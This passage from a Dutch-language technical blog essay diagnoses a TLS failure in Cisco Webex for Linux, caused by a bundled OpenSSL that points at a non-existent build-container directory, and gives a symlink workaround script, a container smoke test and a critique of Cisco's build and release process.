~/.local/share/applications/webex.desktop /opt/Webex/bin/CiscoCollabHost %U, en helemaal geen omgeving Webex\u0026rsquo; eigen starter En de specificatie is niet dubbelzinnig over welke wint: “The base directory defined by $XDG_DATA_HOME is considered more important than any of the base directories defined by $XDG_DATA_DIRS.”8 $XDG_DATA_HOME is ~/.local/share. De gebruikerskopie overschaduwt de verpakte, elke keer, op elk bureaublad dat zich aan de specificatie houdt9.\nWebex installeert dus een tweede kopie van zijn eigen starter in je thuismap, en die kopie is degene die je bureaublad start. Pas het verpakte bestand aan zoveel je wilt. Je bewerkt een document dat niets leest.\nTwee bureaubladvermeldingen met dezelfde naam, en die wint is degene die Webex voor zichzelf schrijft De omgeving werd gezet in het bestand dat het bureaublad nooit leest Twee vermeldingen, één naam. De zoekvolgorde staat vast, en die bevoordeelt de verpakte kopie niet. Met de hand aangepast, en overtroffen /usr/share/applications/webex.desktop Exec=env OPENSSL_CONF=... SSL_CERT_FILE=... wordt nooit geraadpleegd zolang het andere bestand bestaat Door Webex geschreven, en het wint ~/.local/share/applications/webex.desktop Exec=/opt/Webex/bin/CiscoCollabHost %U helemaal geen omgeving gezet weggegooid gestart XDG-basismapspecificatie: de basismap die $XDG_DATA_HOME definieert geldt als belangrijker dan elke basismap die $XDG_DATA_DIRS definieert. Bewijs, uit het draaiende proces en niet uit redeneren: tr '\\0' '\\n' \u0026#60; /proc/20293/environ | grep -E 'SSL|OPENSSL' \u0026#8594; geen uitvoer, 99 variabelen, geen daarvan De oplossing was echt, het bestand was echt, en het proces waarvoor ze bedoeld was startte ergens heel anders vandaan. De omgeving werd gezet in het bestand dat het bureaublad nooit leest. Webex schrijft zijn eigen vermelding onder de datamap van de gebruiker, de specificatie zegt dat die het wint van de verpakte, en het bewijs is het draaiende proces: negenennegentig omgevingsvariabelen en geen van de drie. De oplossing die wel werkt Als de bibliotheek op een pad staat, geef haar dat pad. Maak de map die ze is gecompileerd om te willen en vul hem met symlinks naar het echte werk:\n#!/bin/bash # Point the bundled CiscoSSL at the system trust store by building the # directory it was compiled to look for. Tested: Fedora 44, Webex 46.8.0.35631. set -euo pipefail OPENSSLDIR=$(strings /opt/Webex/lib/libcrypto.so.3 \\ | grep -oP \u0026#39;(?\u0026lt;=OPENSSLDIR: \u0026#34;)[^\u0026#34;]+\u0026#39;) [ -n \u0026#34;$OPENSSLDIR\u0026#34; ] || { echo \u0026#34;no OPENSSLDIR found in the shipped library\u0026#34;; exit 1; } for p in /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem \\ /etc/ssl/certs/ca-certificates.crt \\ /etc/pki/tls/certs/ca-bundle.crt \\ /etc/ssl/cert.pem; do [ -f \u0026#34;$p\u0026#34; ] \u0026amp;\u0026amp; { CA_BUNDLE=\u0026#34;$p\u0026#34;; break; } done [ -n \u0026#34;${CA_BUNDLE:-}\u0026#34; ] || { echo \u0026#34;no system CA bundle found\u0026#34;; exit 1; } echo \u0026#34;OPENSSLDIR: $OPENSSLDIR\u0026#34; echo \u0026#34;CA bundle: $CA_BUNDLE\u0026#34; sudo mkdir -p \u0026#34;$OPENSSLDIR\u0026#34; sudo ln -sf \u0026#34;$CA_BUNDLE\u0026#34; \u0026#34;$OPENSSLDIR/cert.pem\u0026#34; sudo ln -sf \u0026#34;$(dirname \u0026#34;$CA_BUNDLE\u0026#34;)\u0026#34; \u0026#34;$OPENSSLDIR/certs\u0026#34; sudo tee \u0026#34;$OPENSSLDIR/openssl.cnf\u0026#34; \u0026gt; /dev/null \u0026lt;\u0026lt;\u0026#39;CONF\u0026#39; openssl_conf = openssl_init [openssl_init] providers = provider_sect [provider_sect] default = default_sect fips = fips_sect [default_sect] activate = 1 CONF echo \u0026#34;done. now restart Webex\u0026#34; Start het opnieuw, en dezelfde opstartvolgorde levert de tegenovergestelde uitkomst op. Hetzelfde binaire bestand. Dezelfde logregels. Het verversen van het token, dat eerder binnen zestig milliseconden faalde, is nu na driehonderddertig klaar:\nAuthTokenRequester.cpp:579 Managed to fetch a new Kms access token. AuthTokenRequester.cpp:579 Managed to fetch a new CloudApps access token. AuthTokenSupervisor.cpp:310 Auth tokens refreshed. Expires in [64799 secs]. AuthenticationManager.cpp:1860 onUserAuthenticated: User authenticated. ConnectivityStateMachine::Authentication - UserNotAuthenticated -\u0026gt; UserAuthenticated Na ongeveer 750 ms geauthenticeerd, dus de timer van vijftien seconden gaat nooit af en de banner verschijnt nooit. De telefoondiensten gaan van Disconnected naar Connecting, een toestand die de kapotte sessie in een minuut proberen nooit bereikte.\nVoor Na Netwerkcontrole slaagt slaagt Eerste HTTPS-aanvraag 167772294 Error in SSL handshake HTTP 200 CloudApps-token mislukt opgehaald Kms-token mislukt opgehaald Authenticatie blijft hangen op UserNotAuthenticated UserAuthenticated Banner na 15 s “Offline - No internet connection” geen Telefoondiensten nooit geprobeerd verbindend Tijd tot authenticatie nooit ~750 ms Let op wat de oplossing met je bestandssysteem doet, want dat hoort je te storen. Ze maakt op je machine een map /workspace op het hoogste niveau, een naam waar de Filesystem Hierarchy Standard geen plek voor heeft10, met daarin een Conan-cachepad en een buildhash die toebehoren aan een bedrijf waar je software van hebt gekocht. Dat is de vorm van de remedie die Cisco je heeft nagelaten: koppel iemand anders\u0026rsquo; bouwomgeving aan de wortel van je eigen.\nZe gaat ook stuk. Op drie manieren:\nWanneer het stukgaat Waarom Wat je doet Een Webex-update cisco8ee8b59cf93de is afgeleid van de bouwinvoer, dus een herbouwde afhankelijkheid betekent een nieuwe map Het script opnieuw draaien; het leest het pad uit het nieuwe binaire bestand in plaats van het oude aan te nemen Een verandering in de distributie Het doel van de symlink is een beslissing van de distributie, geen standaard11 Opnieuw richten; het script probeert vier bekende locaties Een herinstallatie /workspace wordt door niets geback-upt, verpakt of bezeten Draai het opnieuw, elke keer, voor altijd Niets daarvan is onderhoud. Het is jij, die voor een stap in iemand anders\u0026rsquo; buildpijplijn invalt, voor onbepaalde tijd, onbetaald. Een defect tijdens het draaien oplappen, op elke machine die je bezit, omdat de leverancier het niet één keer bij het bouwen wilde oplappen.\nZe kenden de regel en pasten hem op de helft van de build toe Dit is wat het van een bugrapport in een argument verandert.\nLees de dynamische sectie van de uitgeleverde binaire bestanden:\n$ readelf -d /opt/Webex/bin/libcurl.so | grep RUNPATH 0x1d (RUNPATH) Library runpath: [$ORIGIN:$ORIGIN/../lib] $ readelf -d /opt/Webex/bin/CiscoCollabHost | grep RUNPATH 0x1d (RUNPATH) Library runpath: [$ORIGIN/../lib] $ORIGIN wordt bij het laden uitgebreid naar de map waarin het object zelf staat12. Het is het juiste gereedschap voor een verplaatsbare bundel en ze hebben het correct gebruikt. Ze moesten wel: Webex levert dezelfde boom twee keer uit, één keer naar /opt/Webex en één keer naar ~/.local/share/WebexLauncher/46.8.0.35631_9e6196c9-…/, en een starter kiest bij het opstarten tussen beide. Twee voorvoegsels, één build, en de linker vindt zijn bibliotheken in allebei.\nDe mensen die dit pakket maakten begrepen het probleem dus precies. Absolute paden overleven het uitleveren niet. Voor de code hebben ze het opgelost.\nDaarna lieten ze de datapaden staan als absolute teksten die de container noemen die ze compileerde. Dezelfde build. Dezelfde middag.\nEén pad in de bundel verplaatst zichzelf. Het andere noemt een machine in een datacentrum ergens. Ze wisten dat de bundel moest kunnen verhuizen. Ze pasten het alleen op de code toe. Beide waarden worden bij het bouwen door dezelfde mensen op dezelfde dag gezet. De ene breidt uit bij het laden, de andere nooit. Waar de code vandaan komt: vastgelegd als relatieve uitdrukking RUNPATH in libcurl.so $ORIGIN:$ORIGIN/../lib /opt/Webex/lib opgelost ~/.local/share/WebexLauncher/46.8.0.35631_.../lib ook opgelost Juist, en met opzet. Dezelfde boom gaat twee keer naar twee voorvoegsels en de linker vindt hem in allebei. Waar het vertrouwen vandaan komt: vastgelegd als iemands werkmap OPENSSLDIR in libcrypto.so.3 /workspace/.conan2/p/b/cisco8ee.../p/ssl zo'n pad bestaat niet niet opgelost ENGINESDIR en MODULESDIR: dezelfde boom, dezelfde uitkomst Drie absolute paden naar een buildcontainer, geleverd aan elke klant, bij een product met een ondersteuningscontract. Tussen de twee helften van dit plaatje zit één persoon die het verpakte artefact draait op een machine die het niet heeft gebouwd. Dat is het hele defect. Geen moeilijke bug. Een ongeteste. Dezelfde build, dezelfde dag, dezelfde ingenieurs. Het zoekpad voor bibliotheken is vastgelegd als een uitdrukking die oplost waar de boom ook terechtkomt. Het vertrouwenspad is vastgelegd als iemands werkmap. Dit kan dus niet worden weggeschreven onder ze wisten het niet. In $ORIGIN struikel je niet per ongeluk. Je grijpt ernaar omdat je hebt begrepen dat een absoluut pad dat in een uitgeleverd artefact is gebakken een defect is, en het goed genoeg hebt begrepen om het in de linker te gaan repareren. Daarna schrijft dezelfde build drie absolute paden in dezelfde bibliotheken, en levert ze uit.\nDe regel kennen en hem op de helft van de build toepassen is erger dan hem niet kennen. Niet weten is een opleidingsprobleem en opleiding heeft een oplossing. Dit is een pakket waar het juiste idee in zat, zwart op wit, in de ELF-header waar iedereen het kon lezen, en het ging toch kapot de deur uit. Wat je vertelt dat niets stroomafwaarts van de compiler naar het resultaat keek. Niets deed dat.\nDe container was er al Waar /workspace vandaan komt is geen raadsel, en gokken hoef je ook niet. Het staat in de pakketheader:\n$ rpm -qi webex | grep -E \u0026#39;Build Host|Build Date|Vendor\u0026#39; Build Date : Sat 08 Aug 2026 20:47:43 BST Build Host : c964ea9239ae Vendor : Cisco c964ea9239ae is geen hostnaam die iemand heeft getypt. Het zijn twaalf hexadecimale tekens, en dat is wat een container als hostnaam meldt als niets er een instelt. Het pakket is dus gebouwd in een container, door een bedrijf dat duidelijk de images, het register en de orkestratie heeft om dat te doen, en drie losse artefacten op deze machine zeggen dat onafhankelijk van elkaar:\nBewijs, afgelezen van het geïnstalleerde pakket Waarde Wat het bewijst Build Host in de RPM-header c964ea9239ae een container-ID, geen buildmachine OPENSSLDIR in libcrypto.so.3 /workspace/.conan2/… een pad dat alleen in die container bestaat PLATFORM in dezelfde bibliotheek conan-Release-Linux-x86_64-gcc-13 een Conan-toolchain in een container Requires in de RPM glibc \u0026gt;= 2.28 een bewust gekozen, zeer oude ABI-ondergrens Daarna hebben ze het ondertekend. De build was om 20:47:43 klaar en de handtekening is gedateerd op 21:02:07 diezelfde avond, sleutel-ID 9995e5bbb5ccde3c. Vijftien minuten. Er is dus een uitgiftepoort, iemand of iets bedient hem, en wat hij bevestigt is wie het pakket heeft gemaakt, niet of het pakket werkt. Een handtekening is een uitspraak over herkomst. Ze is nooit een uitspraak over geschiktheid geweest, en een proces dat het ene wel heeft en het andere niet heeft zijn prioriteiten in de verkeerde volgorde.\nWant de ontbrekende stap is de goedkope. De container zit al in de pijplijn. Neem het artefact dat er net uit kwam, start een schone image van elke distributie waarvan je zegt hem te ondersteunen, installeer het, start het, en lees de eerste honderd regels van het log:\ndocker run --rm fedora:44 sh -c \u0026#39; dnf -y install ./webex-46.8.0.35631-1.x86_64.rpm \u0026amp;\u0026amp; timeout 25 /opt/Webex/bin/CiscoCollabHost \u0026amp; sleep 20 grep -c \u0026#34;Error in SSL handshake\u0026#34; ~/.local/share/Webex/current_log.txt\u0026#39; Niet nul, elke keer, op deze build. De installatie is 1,1 GB, dus reken op een minuut per doel bij een warme cache. Zes distributies is zes minuten van een machine die toch al draait, op hardware die Cisco toch al bezit, in een pijplijn die er toch al is. Het is niet gedaan. Geen enkele keer.\nEn dat is het antwoord op wat mensen nog steeds over Linux zeggen, dat meerdere distributies ondersteunen moeilijk is. Dat hield op moeilijk te zijn op de dag dat dit gereedschap kwam, en het gereedschap is hetzelfde gereedschap waarmee ze compileren. Eén basisimage per doel. Hetzelfde artefact in elk ervan. De matrix is een lus.\nEen pijplijn die in een container bouwt en het resultaat nooit in een container draait is geen pijplijn. Het is een compiler met een cronjob ervoor en een ondertekensleutel erachter, en wat er ook uit komt is een gok.\nZe bouwen in een container en draaien het resultaat nooit in een container De container zit al in de pijplijn. Hij wordt alleen gebruikt voor de helft die de leverancier uitkomt. Elke waarde hieronder is van het geïnstalleerde pakket afgelezen, niet afgeleid. Build, in een container Build Host: c964ea9239ae /workspace/.conan2/p/b/... conan-Release-Linux-x86_64-gcc-13 drie losse bewijzen van een container Ondertekenen en publiceren gebouwd 20:47:43 ondertekend 21:02:07 vijftien minuten, en een uitgiftepoort die bevestigt wie, nooit of Klant dnf install webex opent het \"Offline - No internet\" De stap die nergens in de pijplijn zit docker run --rm fedora:44 sh -c 'dnf -y install ./webex.rpm \u0026amp;\u0026amp; CiscoCollabHost \u0026amp; sleep 20; grep -c \"Error in SSL handshake\" ~/.local/share/Webex/current_log.txt' Dezelfde infrastructuur. Eén image per doeldistributie. Minder dan een minuut per stuk, en op deze build faalt het luid. Voor meerdere distributies bouwen hield op moeilijk te zijn op de dag dat dit gereedschap kwam, en het is hetzelfde gereedschap waarmee ze compileren. Een pijplijn die in een container bouwt en het resultaat er nooit in draait is een compiler met een cronjob ervoor en een ondertekensleutel erachter. Drie onafhankelijke bewijzen in het uitgeleverde pakket dat de build in een container draaide, een handtekening vijftien minuten na de build, en de ene stap die nergens voorkomt: het afgewerkte pakket draaien in een schone image van elk platform waarvoor het als ondersteund wordt verkocht. Waarom wordt een release uit 2026 tegen een libc uit 2018 gebouwd? Het pakket verklaart wat het nodig heeft, en de interessante regel is de eerste:\n$ rpm -q --requires webex | grep glibc glibc \u0026gt;= 2.28 glibc 2.28 verscheen op 1 augustus 201813. Het is de versie in Red Hat Enterprise Linux 814, een uitgave waarvan de volledige ondersteuning in 2024 eindigde. Dit is een product uit 2026, in 2026 gecompileerd, dat mikt op de C-bibliotheek van 2018. En dat vervolgens zijn eigen kopie van 2,5 MB van libstdc++.so.6 in de thuismap van de gebruiker zet, omdat de C++-runtime die bij zo\u0026rsquo;n oude basis hoort de code niet kan dragen.\nWaarom zou iemand dat nog doen? Omdat ze niet statisch willen linken.\nDat is het hele verhaal. Op het moment dat je dynamisch tegen de C-bibliotheek van de host linkt, wordt de oudste distributie die je wilt ondersteunen een beperking op de machine waarop je compileert. Je kunt geen symbool gebruiken waar het oudste doel nooit van heeft gehoord, dus spijker je de build vast op een stokoude basisimage en daar blijf je. Elk jaar wordt het gat groter. Elke nieuwe taal- of bibliotheekfunctie komt met een discussie of de ondergrens omhoog mag. Lever je eigen libstdc++ mee om het ergste te verbloemen, en je onderhoudt er nu ook nog een eigen runtime bij.\nDie ruil was zinnig toen een buildhost een fysieke machine in een rek was die iemand opnieuw moest installeren. Al een decennium is hij dat niet meer. Als je tegen de libc van de host moet linken, geeft een container per doel je een echte build op een echte versie van elk platform, en beperkt geen enkele de andere.\nMaar kijk wat die discipline met een oud doel hier werkelijk heeft opgeleverd. Het is ABI-behoudendheid tegen aanzienlijke kosten: een acht jaar oude ondergrens, een meegeleverde C++-runtime, een ondersteuningsmatrix die eromheen is bevroren. En de client start nog steeds niet. Want wat er stukging was een bestandspad, en geen enkele zorgvuldigheid rond symboolversies beschermt een bestandspad. Ze hebben de compatibiliteitsbelasting en de bundelbelasting betaald, en de ene controle overgeslagen die niets kost. Beide rekeningen. Geen product.\nZe betaalden voor een zelfstandige bundel en kregen er geen De beproefde manier om commerciële software op Linux uit te leveren is van zo weinig mogelijk van de host af te hangen. Statisch waar het kan, een zelfstandige boom waar het niet kan, en geen aannames over de distributie eronder. Het is niet elegant en niemand beweert dat. Het bestaat vanwege het alternatief. Een binair bestand dat een bepaalde versie van een bepaalde bibliotheek op een bepaalde plek nodig heeft, maakt van de machine van elke klant een supportzaak.\nCisco koos de tweede route en bundelde. Hier is de rekening:\nWat de bundel bevat Grootte of aantal Gedeelde objecten in /opt/Webex/lib 150 Hun eigen libcurl, CiscoSSL, zlib-ng, ICU, Kerberos, CUPS-client, hunspell en inferentiemotor allemaal Geïnstalleerd onder /opt/Webex 1,1 GB Een tweede kopie onder ~/.local/share/WebexLauncher, per gebruiker 1,1 GB Op schijf voor een chat- en belclient 2,2 GB Twee gigabyte aan afhankelijkheden. Dat is de volle prijs van bundelen: de download, de schijf, de verdubbeling, de veiligheidslast van de enige partij te zijn die er iets van kan patchen, de hele mikmak. Betaal dat, en wat je koopt is een programma dat zich niets aantrekt van wat de host geïnstalleerd heeft, dat zich op Fedora en Debian en Arch en op wat een klant dit jaar ook standaardiseert hetzelfde gedraagt, en dat niet kapot kan door een distributie-upgrade waar het nooit van heeft gehoord.\nAlleen doet het dat wel. Het trekt zich enorm veel aan van één map, en dat is een map op een buildserver.\nZe leverden hun eigen Kerberos en hun eigen ICU en hun eigen spellingcontrole mee, en een werkend pad naar de certificaten konden ze niet meeleveren. Het hele doel van de bundel is zelfstandig te zijn, en in het ene opzicht dat hem laat werken is hij niet zelfstandig. Elk van die 1,1 GB wordt via $ORIGIN correct gevonden. De ruim veertig bytes die het meest tellen niet.\nEn dit is het stuk dat mij pakt. Bundelen is de dure optie. Ze namen de kosten, ze deden het zware ingenieurswerk, ze kregen de verplaatsbaarheid goed voor honderdvijftig bibliotheken over twee installatievoorvoegsels. En richtten toen het ene deel dat bepaalt of iets ervan werkt op een machine die nooit een klant heeft bezeten.\nNiemand heeft het ook gedocumenteerd Naast de eerste tekortkoming staat een tweede, en dat is degene die de eerste zou hebben gevangen.\nVraag het pakket welke documentatie het meelevert:\n$ rpm -qd webex | wc -l 0 $ rpm -qc webex | wc -l 0 Geen documentatiebestanden. En geen configuratiebestanden. Nul vermeldingen met %config in een pakket dat een openssl.cnf meelevert. Dat is niet cosmetisch. Een RPM markeert een bestand als %config zodat de pakketbeheerder bewaart wat de beheerder heeft veranderd, en een .rpmsave opslaat in plaats van het te overschrijven1516. /opt/Webex/lib/openssl.cnf wordt als gewoon bestand uitgeleverd, dus de volgende update overschrijft elke aanpassing die je erin hebt gemaakt en zegt je niets. Het ene bestand dat een klant terecht zou moeten kunnen aanpassen is het bestand dat de verpakking als wegwerpartikel behandelt.\nNiets gepubliceerds zegt welke vertrouwensopslag de client gebruikt, welke omgevingsvariabelen hij eerbiedigt, of waar hij zijn TLS-configuratie leest. Er is geen pagina om na te slaan. Er is er geen geschreven. De enige manier waarop ik iets hiervan heb vastgesteld waren strings, readelf, ldd en ctypes tegen de uitgeleverde binaire bestanden. Een ondersteund product reverse-engineeren om een vraag te beantwoorden die de documentatie in één zin had moeten beantwoorden.\nEn dit is waarom dat meer telt dan het klinkt. Die documentatie schrijven is zelf een test. Zet wie dan ook bij de leverancier voor een leeg vel met het opschrift waar Webex voor Linux zijn CA-certificaten leest, en het eerste wat ze moeten doen is gaan kijken. Op het moment dat ze kijken vinden ze /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl, en het volgende dat eruit komt is een vraag. Gedocumenteerde configuratiepaden zijn geen papierwerk ten gunste van de klant. Ze zijn de goedkoopste audit die een leverancier op zijn eigen build kan uitvoeren, en ze overslaan is hoe zo\u0026rsquo;n pad tot in een release overleeft.\nNiets daarvan is veel gevraagd. Zeg waar je configuratie staat. Zeg welke omgevingsvariabelen je eerbiedigt. Markeer je configuratiebestanden als configuratie zodat een update ze niet opeet. Dan heeft de klant die op een storing stuit ergens om te kijken dat geen hex-editor is.\nNiemand heeft het gedraaid De ontbrekende stap is hierboven vaak genoeg genoemd. Wat het vragen waard is, is waarom hij op dit platform ontbrak en op de andere niet.\nOp Fedora in elk geval niet. Op macOS en het Fisher-Price OS (Windows) kan deze klasse fouten niet op dezelfde manier opduiken, omdat die platformen een TLS-stapel van het systeem hebben met een vertrouwensopslag die het besturingssysteem beheert. Linux heeft zoiets niet. OpenSSL is de vertrouwensopslag, en dus is wie hem meelevert eigenaar van waar hij kijkt. Het ene platform waar de meegeleverde bibliotheek dragend is, is dus het platform dat ongetest is uitgeleverd, wat een beslissing is over welke klanten een rooktest waard zijn.\nHet hele onderzoek kostte een avond: het log lezen, opmerken dat de netwerkdetectie slaagde voordat de banner het tegendeel beweerde, het gecompileerde pad uit het binaire bestand trekken, de exacte foutcode tegen de meegeleverde bibliotheek reproduceren. Dat alles met een AI-agent die de logcorrelatie en het ctypes-tuig deed terwijl ik bedacht wat ik hem moest vragen. Ik noem dat om één reden: de diagnose die een leverancier nooit stelde voordat hij dit pakket ondertekende en in zijn eigen repository legde, ligt nu binnen een avond bereik van elke klant met het geduld om te kijken. De ingenieurs van Cisco hebben net als iedereen Claude tot hun beschikking, en het had dit fatsoenlijk gebouwd. Je kunt het niet vragen /workspace/.conan2 in een uit te leveren artefact te bakken zonder dat het je vertelt wat er gebeurt als het artefact de workspace verlaat. Het gereedschap om dit te vangen is niet schaars meer, en de kennis ook niet. Wat ontbreekt is iemand bij de leverancier wiens taak het was om te kijken.\nOndertussen is het supportpad voor de persoon die hier tegenaan loopt een banner die zegt dat hun internet eruit ligt. Ze zullen de router herstarten. Ze zullen hun provider bellen. Ze zullen een ticket aanmaken dat nergens heen gaat, omdat het symptoom dat Cisco koos om te tonen van Cisco weg wijst.\nDat is de volledige lijst van wat er misging. Het is het zeggen waard hoe goed eruit had gezien, want elk punt erop heeft een uitgemaakt antwoord dat ouder is dan dit product.\nHoe het gebouwd had moeten worden Genoeg over wat er misging. Hier is de norm, en niets ervan is nieuw. Het is wat een binair bestand uitleveren naar de computer van iemand anders al twintig jaar van je vraagt.\nBegin bij de beslissing die Cisco in beginsel goed en in uitvoering fout nam: hoeveel van de host je bereid bent aan te nemen. Statisch linken is het sterkste antwoord, en het is de moeite waard daar concreet over te zijn, want “link het gewoon statisch” wordt rondgezwaaid door mensen die het nooit hebben gehoeven en weggewuifd door mensen die het nooit hebben geprobeerd.\nWat het wegneemt Wat het kost RUNPATH, en elke manier om het fout te doen, want er is geen zoektocht bij het laden glibc linkt niet netjes statisch: naam- en gebruikersopzoeking gaan via dlopen, dus het binaire bestand grijpt nog steeds naar de NSS-modules van de host17 De glibc-ondergrens, zodat de oudste distributie niet meer bepaalt waarop je mag compileren LGPL-delen brengen een herlinkverplichting mee, dus die blijven dynamisch of je levert mee wat nodig is om te herlinken Breuk door een distributie-upgrade, een hernoemde bibliotheek of een verouderde ldconfig-cache Je bezit elke patch: geen beveiligingsupdate van een distributie bereikt je klanten De dlopen van een geversioneerde .so uit een map die er misschien niet is Een grotere download, en geen delen van geheugenpagina\u0026rsquo;s tussen processen En één regel in de linkerkolom die de rest alleen maar ondersteunt: het artefact dat je pijplijn heeft geproduceerd is het artefact dat de klant draait, byte voor byte. Test het en je hebt getest wat je hebt uitgeleverd. Dat is de eigenschap over wiens afwezigheid dit hele stuk gaat.\nOver de rechterkolom hoort eerlijkheid. Echte kosten, en de reden dat mensen naar musl grijpen of een mengvorm accepteren. Maar kijk naar de derde regel. Elke patch bezitten geldt precies zo voor wat Cisco al deed: een gebundelde boom van 150 bibliotheken is dezelfde verplichting zonder enige van de garanties bij het laden. Ze tekenden hoe dan ook voor het bezitten van elke patch en kregen er niets voor terug.\nDe regel is dus eenvoudig, en het is de regel die ze braken: wat je er niet in kunt linken, moet je vinden via een pad relatief aan het binaire bestand. $ORIGIN voor de code, en dezelfde discipline, bewust, voor elk datapad waar de bibliotheek naar gaat zoeken. In dit geval zijn er vier en elk ervan heeft een gedocumenteerd handvat:\nWaar de bibliotheek naar zoekt Wat er is uitgeleverd Wat het had moeten zijn Vertrouwensankers OPENSSLDIR/cert.pem, vastgezet bij het bouwen meegeleverd in de boom, of SSL_CERT_FILE gezet bij het starten5 Configuratie OPENSSLDIR/openssl.cnf, hetzelfde pad, nooit gevonden OPENSSL_CONF, gericht op de kopie in het pakket5 Providers, inclusief FIPS MODULESDIR, absoluut, dus fips.so onbereikbaar OPENSSL_MODULES, “the directory from which cryptographic providers are loaded”5 Engines ENGINESDIR, absoluut OPENSSL_ENGINES, of niets, aangezien OpenSSL 4.0 de ondersteuning voor engines helemaal heeft verwijderd5 Vier paden, vier omgevingsvariabelen, allemaal in één handleidingpagina die hun eigen bibliotheek meelevert. Als een tekst in je artefact met een / begint en bij het bouwen is vastgelegd, is het een defect dat wacht tot een klant het vindt. Er is geen derde mogelijkheid waarin een absoluut buildpad in orde is.\nDe oplossingen voor deze, en de controle die hem vangt Van het beginsel naar dit concrete defect. Zes wijzigingen, geen enkele daarvan onderzoek:\nOplossing Inspanning Waarom het klopt --openssldir=/opt/Webex/lib/ssl zetten en de boom meeleveren één configuratievlag Het pad bestaat dan in het pakket, en daar is de vlag voor2 SSL_CERT_FILE/SSL_CERT_DIR bij het starten in CiscoSSLUtils zetten en de bekende distributiepaden aftasten een stuk of twaalf regels Standaard, gedocumenteerd, al ondersteund door hun eigen bibliotheek5 De CA-bundel zelf in het pakket meeleveren alleen verpakking Volledige controle over het vertrouwen, tegen de prijs van de versheid ervan bewaken De openssl.cnf corrigeren zodat de default-provider wordt geactiveerd één regel Hoe dan ook nodig, en nu gemaskeerd door de padfout6 openssl.cnf als %config markeren één regel in de spec Voorkomt dat een update de wijziging van een beheerder stilletjes opeet15 De paden en de geëerbiedigde variabelen publiceren één pagina De goedkoopste audit die er is, en hij vindt deze fout terwijl hij wordt geschreven De eerste is de oplossing met één vlag en ze had het product werkend uitgeleverd. Het is één waarde in een buildscript, één keer gezet, die ze fout hadden omdat er stroomafwaarts nooit iets controleerde.\nDe controle is kleiner dan de oplossing:\n# in CI, on the packaged artefact, in a clean container test -d \u0026#34;$(strings lib/libcrypto.so.3 | grep -oP \u0026#39;(?\u0026lt;=OPENSSLDIR: \u0026#34;)[^\u0026#34;]+\u0026#39;)\u0026#34; \\ || { echo \u0026#34;shipping a trust store path that does not exist\u0026#34;; exit 1; } Eén regel. Hij had deze release luid laten falen, in februari, op de machine die hem maakte, in de container die hem maakte, voordat het pakket werd ondertekend. Dat hij er niet is, komt niet door moeilijkheid en niet door kosten. Het komt doordat niemand gevraagd is hem te schrijven, en daarmee was de vraag of het verpakte artefact zich als software gedroeg niemands taak.\nWat een slordig buildproces alle anderen kost Alles hierboven is het buildproces van één product van binnenuit gezien, en ik loop het niet nog eens met je door. De vraag die het waard is, is of dat niveau van zorg waarschijnlijk bij één team ophoudt.\nZet er dus het beeld van buiten naast. CISA houdt een catalogus bij van kwetsbaarheden waarvan bekend is dat ze in het wild worden misbruikt. Niet theoretisch, niet gescoord. Waargenomen terwijl ze tegen mensen werden ingezet. Per 14 september 2026 telt hij 1.710 vermeldingen18:\nLeverancier Vermeldingen in de KEV-catalogus Microsoft 388 Cisco 98 Apple 94 Adobe 81 Google 74 Oracle 46 Fortinet 30 VMware 26 Tweede, achter een monopolie op besturingssystemen en voor alle anderen. De meest recente toevoeging van Cisco ging erin op 14 september 2026, de dag voordat dit werd geschreven.\nIk telde hetzelfde bestand drie weken eerder voor /nl/random/is-your-msp-lying-to-you-part2/: versie 2026.08.27, 1.685 vermeldingen, Cisco op 96. Twee erbij sindsdien, in eenentwintig dagen.\nWees eerlijk over wat die tabel op zichzelf wel en niet bewijst. Een grote geïnstalleerde basis op plekken met hoge waarde trekt aandacht, en aandacht vindt bugs, dus elke leverancier van die omvang draagt een lange lijst. Het getal is een vermoeden, geen oordeel.\nDe samenstelling is lastiger weg te wuiven dan het totaal. Vijfentwintig van Cisco\u0026rsquo;s achtennegentig zitten op de beveiligingslijnen: de firewalls, de appliances, de VPN-concentrators, de mail- en webgateways, de identiteitsdiensten. En de vier meest recente vermeldingen tegen hen zijn, op een rij, Secure Firewall Management Center twee keer, Secure Firewall ASA, en Secure Email Gateway, die laatste op 14 september 202618. Niet de switches. Niet de samenwerkingsapparatuur. De producten die specifiek worden verkocht om datgene te zijn wat iedereen anders veilig houdt.\nWat de zin is waar dit hele stuk naartoe liep, dus hier is hij in gewone taal. Dit is een bedrijf waarvan het vak het verkopen van beveiligingsapparatuur is, en het krijgt het niet voor elkaar een bureaubladclient een certificaat te laten controleren. Geen moeilijke zaak. Geen nieuwe aanval. De meest alledaagse beveiligingshandeling in de informatica, uitgevoerd door elke browser bij elke pagina, in een bibliotheek die ze zelf hebben geforkt, en ze leverden hem uit gericht op een map die nooit op een klantmachine heeft bestaan. En ondertekenden hem toen.\nWat dit stuk toevoegt is een steekproef van het proces erachter. Geen kwetsbaarheid. Een eenvoudig verpakkingsdefect, de minst subtiele klasse fouten die er is, op een ondersteund platform, te vangen door elke rooktest die iemand had willen draaien, en toch uitgeleverd. Als een buildpijplijn dat voor een betalende klant zet, is het niet duidelijk wat ze wel zou tegenhouden. Niets deed dat.\nMag ik vragen waarom dit is ondertekend? Mag ik vragen waarom een pakket dat geen TLS-handshake kan afronden is ondertekend en gepubliceerd tegen een platform dat jullie eigen eisenpagina als ondersteund noemt? Niet wie het heeft ondertekend. In een naam heb ik geen belang en daar gaat het niet om. Wat het toestond, want iets deed dat, vijftien minuten nadat de build klaar was, en wat het ook is, het draait vandaag nog.\nNu de botte versie. Dit is geen project dat ik ergens vandaan heb geplukt en op goed geluk heb geprobeerd. Er is voor betaald. Erachter zitten een contract, een supportlijn, een eisenpagina die een bewering over Linux doet, en een ondertekensleutel die stelt dat het pakket van Cisco komt en geschikt is om te installeren. Elk daarvan is een uitspraak aan een klant, en bij deze release was elk ervan niets waard, omdat het resultaat nooit is geopend.\nEn de norm die hier wordt gemist is niet die van mij. Het is die van hen. De vier variabelen die die paden hadden kunnen dragen staan gedocumenteerd in een handleidingpagina die jullie in de bundel meeleveren. Jullie eigen pakketformaat heeft een %config-markering die jullie niet hebben gebruikt en een documentatiesectie die jullie leeg hebben gelaten. Jullie eigen build draaide in een container die jullie nooit hebben gebruikt om de uitvoer te draaien. Ik vraag een netwerk- en samenwerkingsbedrijf niet om iets uit te vinden. Ik vraag waarom het zijn eigen handleidingen niet heeft gelezen.\nHet excuus dat ik dan ook niet accepteer is dat dit moeilijk zou zijn. Het is voor niemand moeilijk, en zeker niet voor een bedrijf dat dit 